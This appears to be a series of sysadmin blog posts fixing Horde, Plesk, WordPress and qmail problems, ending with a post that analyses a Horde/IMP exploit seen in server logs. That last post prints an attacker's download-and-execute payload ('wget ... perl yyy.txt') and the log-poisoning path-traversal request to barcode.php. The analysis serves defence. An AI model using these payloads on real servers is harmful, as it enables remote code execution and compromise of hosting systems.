Horde: email sent but without attachments

I just had the following problem with Horde 5.1.5 on a Plesk 11.5.30 server: Emails could be sent with the webmailer, the mail contents were all fine except that no attachment was sent. There were no error uploading attachments. They just weren’t there anymore on the receiving side.

At first I thought it might be a problem with qmail, so I checked /var/qmail/control/databytes. It contained a 0 meaning unlimited. So it was not the problem.
Then I checked in the sent folder, it containted the following message:

Date: Mon, 17 Feb 2014 10:26:05 +0000
Message-ID: <20140217102605.Horde.K04MY6UxjZMSwHKs7gDH8A2@webmail.server.de>
From: user@server.de
To: user@server2.de
Subject: attachment
Received: from p54AB010E.dip0.t-ipconnect.de (p54AB010E.dip0.t-ipconnect.de
[84.171.1.14]) by webmail.server.de (Horde Framework) with
HTTP; Mon, 17 Feb 2014 10:26:05 +0000
User-Agent: Internet Messaging Program (IMP) H5 (6.1.6)
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
MIME-Version: 1.0
Content-Disposition: inline

So the attachment wasn’t to be seen there. So it was probably rather a problem with horde than qmail.

Then I checked the PHP setting to find out whether we might have hit a limit (although a 8K attachment should probably be under all set limits…). But both upload_max_filesize and post_max_size were set to a high value in php.ini.

So the only thing left was really Horde itself. Long story short, this ended up being a rights issue. The temporary directory used by Horde (/tmp/.horde) was owned by the apache user. Changing the owner to the Horde user did the trick:

chown -R horde_sysuser:horde_sysgroup /tmp/.horde/

Plesk: Web statistics authentication

You can setup Plesk to gather information about traffic coming to your domains.

It shows statisctics about the number of unique visitors, visits, page views, hits, bandwith on a montly, days of month, days of week, hours of day and more e.g.:

Plesk Web Statistics

In order to enable it you have to go to the Host Settings for this domain and scroll down to this part:

Plesk Web Statistics Enable

When disabled, the select box will show “None”. Choose AWStats instead to enable it.

The checkbox next to it enables authentication. If unchecked anybody can have a look at the statistics. When you check it, only authenticated users will be allowed to see the statistics.

If like me, you have migrated many sites without paying attention to this checkbox, you’ll need a long time to go through all the Hosting Settings pages of all domains and enabling authentication. Since I’m notoriously lazy, it was no option for me so I wrote the following script to switch on authentication for the web statistics of all sites where the web statistics are enabled:

#!/bin/sh
mysql -uadmin -p`cat /etc/psa/.psa.shadow` --skip-pager --skip-column-names --batch psa -e 'SELECT name FROM domains;' | while read d;do
        if [ "x`/opt/psa/bin/domain --info $d | grep 'Web statistics' | grep -v 'None' | awk '{print $3}'`" != "x" ]; then
                /opt/psa/bin/domain --update $d -webstat-protdir-access true
        fi
done

This scripts first reads all domains from the MySQL Plesk database (psa) and checks whether Web statistics are enabled. If yes, it sets the webstat-protdir-access to true, enabling authentication.

Since this script calls the domain script of Plesk twice per domain to update, it’s not really fast but it’s much less work than doing it manually.

Horde webmail showing the default Plesk page

After migrating all our domains to a new server, whenever you wanted to access emails using the Horde webmail UI, you’d see the default Plesk page instead of the Horde login page.

Executing the following didn’t help (so Horde was already properly installed):

# /opt/psa/admin/bin/webmailmng --install --name=horde
# /opt/psa/admin/bin/webmailmng --enable --name=horde
# /opt/psa/admin/sbin/httpdmng --reconfigure-all

Webmail was turned on for these domains. After some time I also noticed that horde.webmail.mydomain.com was showing the login page instead of webmail.mydomain.com. So it seemed to be more of an Apache configuration issue than a problem with the Plesk installation itself.

First I looked for the httpd.conf file for Plesk:

# l /etc/apache2/conf.d/*psa*
-rw-r----- 1 root www-data 402 Jan  2 23:20 /etc/apache2/conf.d/zz010_psa_httpd.conf

Then looked for the corresponding horde file:

# grep horde /etc/apache2/conf.d/zz010_psa_httpd.conf 
Include '/etc/apache2/plesk.conf.d/horde.conf'

In this file, you’ll see the following:

# grep webmail /etc/apache2/plesk.conf.d/horde.conf
    ServerName horde.webmail
    ServerAlias horde.webmail.*
    Include "/etc/apache2/plesk.conf.d/webmails/horde/*.conf"
        FcgidInitialEnv PP_CUSTOM_PHP_INI "/etc/psa-webmail/horde/horde/php.ini"

Ok, so I’ve now found out the reason why horde.webmail is used instead of webmail. While looking for a solution, I’ve also seen that the very first domain I had migrated (ams-traduction.com) didn’t have this problem. So there was something different about this domain.

Looking at the files in /etc/apache2/plesk.conf.d/webmails/horde/ I saw that it was the only domain for which there was a file in there (ams-traduction.com_webmail.conf).

This file contained the following:

#ATTENTION!
#
#DO NOT MODIFY THIS FILE BECAUSE IT WAS GENERATED AUTOMATICALLY,
#SO ALL YOUR CHANGES WILL BE LOST THE NEXT TIME THE FILE IS GENERATED.

ServerAlias “webmail.ams-traduction.com”

So that’s why I could use the webmail URL instead of the horde.webmail URL for this domain. But why didn’t I have files for the other domains ? Since it you basically only needed the last line in the file, I added files for all domains. After that it worked… Until the next Plesk update. During the Plesk update all files in there except the first one (which I hadn’t added) got deleted and I had again the same problem.

Of course one solution is to replace horde.webmail by webmail in /etc/apache2/plesk.conf.d/horde.conf. But I wasn’t sure whether this wouldn’t also get deleted.

After a long search I finally figured out what was the difference between this one domain and the others. They belonged to different Plesk subscriptions. Looking at the subscription settings in Plesk I saw that there was also a Webmail configuration. After selecting Horde there, all the files were created automatically and the problem was solved.

This doesn’t really make sense to me. Why would you be able to enable Horde both for a subscription or for a domain but have a different behavior… Well, everything is not always logical in Plesk… Now let’s see whether the next update will again break it !

WordPress asking for FTP connection information when updating plugins

This morning I saw that a few plugins I used had a new version and wanted to update them. I do this quite regularly on all my webpages. This time instead of seeing the update progress, I was presented a web page where I was asked to enter some FTP information:

WordPress Update Plugin FTP info

There could be two reasons for this:

  1. You want to be updating through FTP/SFTP but no credentials are added to wp_config.php
  2. You want to the updates to be directly done on the file system but WordPress cannot write to the filesystem

For the first one, the fix is easy. You just need to add your credentials to wp_config.php:

define('FTP_HOST', 'myhostname');
define('FTP_USER', 'myusername');
define('FTP_PASS', 'mypassword');

Once the file is updated, WordPress should be able to update itself, plugins and themes without asking for credentials.

Now, if like me you do not want to use FTP or SFTP but want WordPress to directly write the files to the server filesystem, you need to make sure that the user used to run WordPress has write access to the wp-content directory.

First you need to figure out which user is being used to run WordPress. The easiest way to do it (assuming you are on a Unix/Linux/Mac system) is to write a short PHP script which calls the whoami command. For this create a file called checkuser.php in the root folder of your webserver (e.g. /var/www/vhosts/benohead.com/httpdocs/checkuser.php) with the following contents:

<?php echo "user=".exec("whoami")."<br/>"; ?>

This will write something like (when you go to http://yourwebsite/checkuser.pnp):

user=www-data

So your web user is www-data.

If you cannot use whoami, another way to do it is to create a file info.php with the following contents:

<?php phpinfo(); ?>

And when you go to http://yourwebsite/info.php and there should be some entry showing you the web user (search e.g. for “APACHE_RUN_USER” or “User/Group”).

Now you need to give this user the rights to wp-content. There are a few ways to do it:

Give it the ownership of the files in wp-content e.g.:

chown -R www-data /var/www/vhosts/benohead.com/httpdocs/wp-content

Or make sure that this user belongs to the group owning wp-content and its children and give write access to the group:

chmod -R g+w /var/www/vhosts/benohead.com/httpdocs/wp-content

Now the user should have write access.

If it still doesn’t work, we’ll need to gather more info in checkuser.php:

<?php

echo "user=".exec("whoami")."<br/>";
echo "getmyuid=".getmyuid()."<br/>";

$context="/var/www/vhosts/benohead.com/httpdocs/wp-content/plugins/";
               
$temp_file_name = $context . 'temp-write-test-' . time();
echo "temp_file_name=".$temp_file_name."<br/>";
                
$temp_handle = @fopen($temp_file_name, 'w');
echo "temp_handle=".$temp_handle."<br/>";
                
if ( $temp_handle ) {
    echo "fileowner=".@fileowner($temp_file_name)."<br/>";
                        
     if ( getmyuid() == @fileowner($temp_file_name) )
         $method = 'direct';    
     @fclose($temp_handle);
     @unlink($temp_file_name);
}

echo "method=".$method."<br/>";
?>

This basically performs the same check as wordpress to determine whether the filesystem can be written to directly.

When you go to http://yourwebsite/checkuser.php, you should now see more info e.g.:

user=www-data
getmyuid=33
temp_file_name=/var/www/vhosts/benohead.com/httpdocs/wp-content/plugins/temp-write-test-1387703780
temp_handle=Resource id #4
fileowner=33
method=direct

If getmyuid and fileowner have the same value and method is direct, this means that WordPress has already seen that the filesystem is directly writeable. If they two values are different and method is empty (or if you only see the first few lines above), then you need to check the ownership of the directory again.

The problem could be that the getmyuid() function used by WordPress does not actually return the uid of the user running the script but the uid of the user owning the file being run. So you might need to issue the chown command above not only for wp-content but for all files (or at least for ./wp-admin/update.php).

If the ouput of checkuser.php is fine but it still doesn’t work, the problem might be that WordPress does figure out it can write directly but is forced to use FTP. You can check this by updating the function used to determine the filesystem method. It’s called get_filesystem_method and is located in ./wp-admin/includes/file.php.

Search for the following line:

return apply_filters('filesystem_method', $method, $args);

and replace it by:

# return apply_filters('filesystem_method', $method, $args);
echo "method before filters = ".$method."<br/>";
$method = apply_filters('filesystem_method', $method, $args);
echo "method after filters = ".$method."<br/>";
return $method;

Then try to update WordPress again. You should see two additional lines at the top e.g.:

method before filters = direct
method after filters = ftpext

The first one shows the method WordPress has determined it could use. The second one is the final method to be used after applying all filters. In this case shown above, you see that WordPress figured out it can use the direct method but some filter replaced it by the FTP method.

So then you just need to go to your WordPress root directory and search for files defining a filesystem_method filter e.g.:

# grep -R "add_filter.*filesystem_method" *
wp-config.php:	add_filter('filesystem_method', create_function('$a', 'return "direct";' ));
wp-config.php:	add_filter('filesystem_method', create_function('$a', 'return "ftpext";' ));

Now you see that two filters are defined in wp-config.php: one forcing the direct method and one forcing the FTP method. So to fix it, you just need to edit wp-config.php and remove the following lines:

if(is_admin()) {
        add_filter('filesystem_method', create_function('$a', 'return "ftpext";' ));
        define( 'FS_CHMOD_DIR', 0755 );
}

These lines seem to have been automatically added by Plesk in my case. Yesterday, I switched off the automatic WordPress updates in Plesk and it probably inserted these lines. What’s strange is that I made the same change in Plesk for 7 other sites and none of them had this problem…

Horde: Unable to get webmail password!

When accessing the Horde webmail page, we got a popup with the following text:

Unable to get webmail password!

And the login page was not displayed.

This error message comes from /usr/share/psa-horde/config/conf.php:

if (!($fd = fopen('/etc/psa-webmail/horde/.horde.shadow', 'r'))) {
  echo "<script>alert('Unable to get webmail password!')</script>";
  exit();
}

So it failed while trying to read the password for the horde used from /etc/psa-webmail/horde/.horde.shadow.

If you look it up in Google, you’ll find a few pages suggesting one of these:

chmod 755 /etc /etc/psa-webmail /etc/psa-webmail/horde
chown root:apache /etc/psa-webmail/horde/.horde.shadow
chmod 640 /etc/psa-webmail/horde/.horde.shadow

or

chmod 755 /etc /etc/psa-webmail /etc/psa-webmail/horde
chown www-data:www-data /etc/psa-webmail/horde/.horde.shadow
chmod 640 /etc/psa-webmail/horde/.horde.shadow

Since our server runs Debian I went for the second one but it still didn’t work.
As the contents of the file seemed to be ok it was obviously a permission problem (as also pointed by those web pages). But the permissions set above didn’t work.
So my first solution was to change the permission on the .horde.shadow file as follows:

chmod 644 /etc/psa-webmail/horde/.horde.shadow

It then worked. Since the only difference is that I gave all users read access rights to the file. This is obviously not a very good solution. If I need to give access to other users, it means I have the wrong owner for the file.

Since I didn’t know which user horde was using (I had assumed it was using the apache user), I searched in the /etc/password file:

# cat /etc/passwd | grep horde
horde_sysuser:x:2523:2521:horde webmail user:/usr/share/psa-horde:/bin/false

OK, so the user is called horde_sysuser. I also found out it belongs to the group called horde_sysgroup (just lookup horde_sysuser in Google and you’ll find the right group or just check the /etc/group file).

So I changed the owner of the file:

chown horde_sysuser:horde_sysgroup /etc/psa-webmail/horde/.horde.shadow

And set back more restrictive permissions:

chmod 640 /etc/psa-webmail/horde/.horde.shadow

And it was still working !

Now the only remaining problem is that Plesk seems to change the permission of the file when applying some updates. So I’ll have to setup a cron job to change the owner and permissions just after a Plesk update until I’ve figured out how to teach Plesk not to mess with the file owner and permissions.

qmail: move Plesk mailboxes to a new server

You can use the following when you have a Plesk installation on two servers and need to move mailboxes from one server to another one.

Note that it assumes that this is all done at a time when there is no activity on the system. If there is no such timeframe in your case, you’ll probably need to do a little more work making sure you do not lose any incoming email in the process.

First, I assume that the domain has already been created on the new server but the DNS entries still point to the old server. Now you need to create a script to create the mailboxes. This can be done by a simple SQL script run against the old psa database:

use psa;
SELECT CONCAT("/opt/psa/bin/mail --create ",mail . mail_name,"@",domains . name ," -cp-access true -passwd ",accounts . password," -mbox_quota -1 -mailbox true")
FROM `mail` , accounts , domains
WHERE
mail . account_id =accounts . id AND
mail . dom_id =domains . id AND
domains . name = "my-domain-name.com"
ORDER BY `mail` . `postbox`  ASC;

If Plesk is not installed in /opt/psa, you’ll have to replace it in the SELECT statement by the path to your Plesk installation e.g. /usr/local/psa.

This has to be executed in a mysql client e.g.:

mysql -uadmin -p`cat /etc/psa/.psa.shadow`

It will return something like:

/opt/psa/bin/mail --create doc@my-domain-name.com -cp-access true -passwd mypassword1 -mbox_quota -1 -mailbox true
/opt/psa/bin/mail --create post@my-domain-name.com -cp-access true -passwd mypassword2 -mbox_quota -1 -mailbox true

Here, we have two user mailboxes for this domain: doc and post.

Here some information regarding the options used:

  • –create: it creates a Plesk e-mail account
  • doc@my-domain-name.com: this is the email address you’ll create
  • -cp-access true: enables the mail name user to Plesk control panel
  • -passwd mypassword1: sets the same password as on the old server
  • -mbox_quota -1: Sets the size of the mail box for the mail name to the default mail box size value set for the domain to which the mail name belongs
  • -mailbox true: creates mail box for the mail name

Now the mailboxes also exist on the new server and you just need to copy the files from one server to another. I copy them through my local machine using cp but you could also use rsync instead or directly cp from one server to the other one. I execute the following on my local computer:

mkdir /tmp/qmail
cd /tmp/qmail

rm -rf cur new
scp -r root@myoldserver:/var/qmail/mailnames/my-domain-name.com/doc/Maildir/cur .
scp -r cur root@mynewserver:/var/qmail/mailnames/my-domain-name.com/doc/Maildir/
scp -r root@myoldserver:/var/qmail/mailnames/my-domain-name.com/doc/Maildir/new .
scp -r new root@mynewserver:/var/qmail/mailnames/my-domain-name.com/doc/Maildir/

rm -rf cur new
scp -r root@myoldserver:/var/qmail/mailnames/my-domain-name.com/post/Maildir/cur .
scp -r cur root@mynewserver:/var/qmail/mailnames/my-domain-name.com/post/Maildir/
scp -r root@myoldserver:/var/qmail/mailnames/my-domain-name.com/post/Maildir/new .
scp -r new root@mynewserver:/var/qmail/mailnames/my-domain-name.com/post/Maildir/

Replace myoldserver by the name or IP address of the old server and mynewserver by the name or IP address of the new server. I have configure both servers to accept login with a public key. If it is not the case for you, you’ll have to enter a few passwords.

If you have more than two mailboxes, you will need to repeat the five lines more than twice.

The new directory contains new emails not yet read and the cur directory contains emails already read.

After that, all you need is to make that the writes are fine. To do this execute the following on the new server:

chown -R popuser:popuser /var/qmail/mailnames/my-domain-name.com/doc/Maildir/cur
chown -R popuser:popuser /var/qmail/mailnames/my-domain-name.com/doc/Maildir/new

chown -R popuser:popuser /var/qmail/mailnames/my-domain-name.com/post/Maildir/cur
chown -R popuser:popuser /var/qmail/mailnames/my-domain-name.com/post/Maildir/new

After that change the DNS setting for mail.my-domain-name.com to point to the new server. The propagation of the DNS server is usually fast but can sometimes take many hours. It’s all a matter of luck…

Plesk Exploit: Readable Logfile Vulnerability

A vulnerability scan has been performed on one of our servers at the beginning of the month. This last about 4 days. It was looking for a vulnerable versions of the Plesk control panel to exploit the Horde/IMP Plesk Webmail Exploit. Let’s have a look at how this looks like in a few log files:

First the attacker is checking which version of Horde is installed:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:05:42 +0200] "GET /horde/services/help/?show=about HTTP/1.1" 200 3326 "-" "HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.11"

If it finds a suitable version of Horde, it will go to the next steps:

access_log:xx.xxx.xx.xxx - - [01/Jun/2013:15:38:39 +0200] "POST /horde/imp/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

Here, the attacker sends a POST request to /horde/imp/redirect.php including some PHP code as the username. It usually uses the passthru PHP function which executes an external programm. The PHP code usually looks like this:

passthru('cd /tmp;wget http://xxx/yyy.txt;perl yyy.txt;rm -f yyy.txt');

It basically always does the the same:

  1. Go to the tmp directory
  2. Download a PERL script
  3. Execute the script
  4. Delete the script

There are a few variations:

  • The commands are executed using passthru, system, shell_exec or exec
  • The script is downloaded using wget, curl, fetch, GET, lwp-download or lynx
  • The downloaded file is a file with the .txt extension or has an image file extension and is renamed before being executed
  • Sometimes, the attacker also messes with the history so that you do not see what exactly happened

There are even scripts used which will use many of the combinations above just in case some of them do not work on this particular system.

This PHP code is written to the horde log file. It is then executed by using a vulnerability of barcode.php (or rather a vulnerability in Image.php which is called by barcode.php). This looks like this:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:41 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

It will most probably also try different log file locations e.g.:

access_log:xx.xxx.xx.xxx - - [04/Jun/2013:15:38:40 +0200] " /horde/util/barcode.php?type=../../../../../../../../../../../var/log/psa-horde/psa-horde.log%00 HTTP/1.1" 200 - "1" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"

In many cases, the perl scripts will just install some additional PERL scripts used for DDOS attacks in your /var/www/vhost/xxx/cgi-bin directories. You can find such scripts using:

find /var/www/vhosts/[a-z]*/cgi-bin/*.pl

In order to protect your system, you should always install all Plesk security updates. This vulnerability is very old but seems to be still worth exploiting. There is also a fix for Image.php which can be downloaded here.

Note that the PERL scripts stored in your vhost folders are often well commented and you will find such comments in there:

#part of the Gootkit ddos system

Nice, isn’t it ? 😉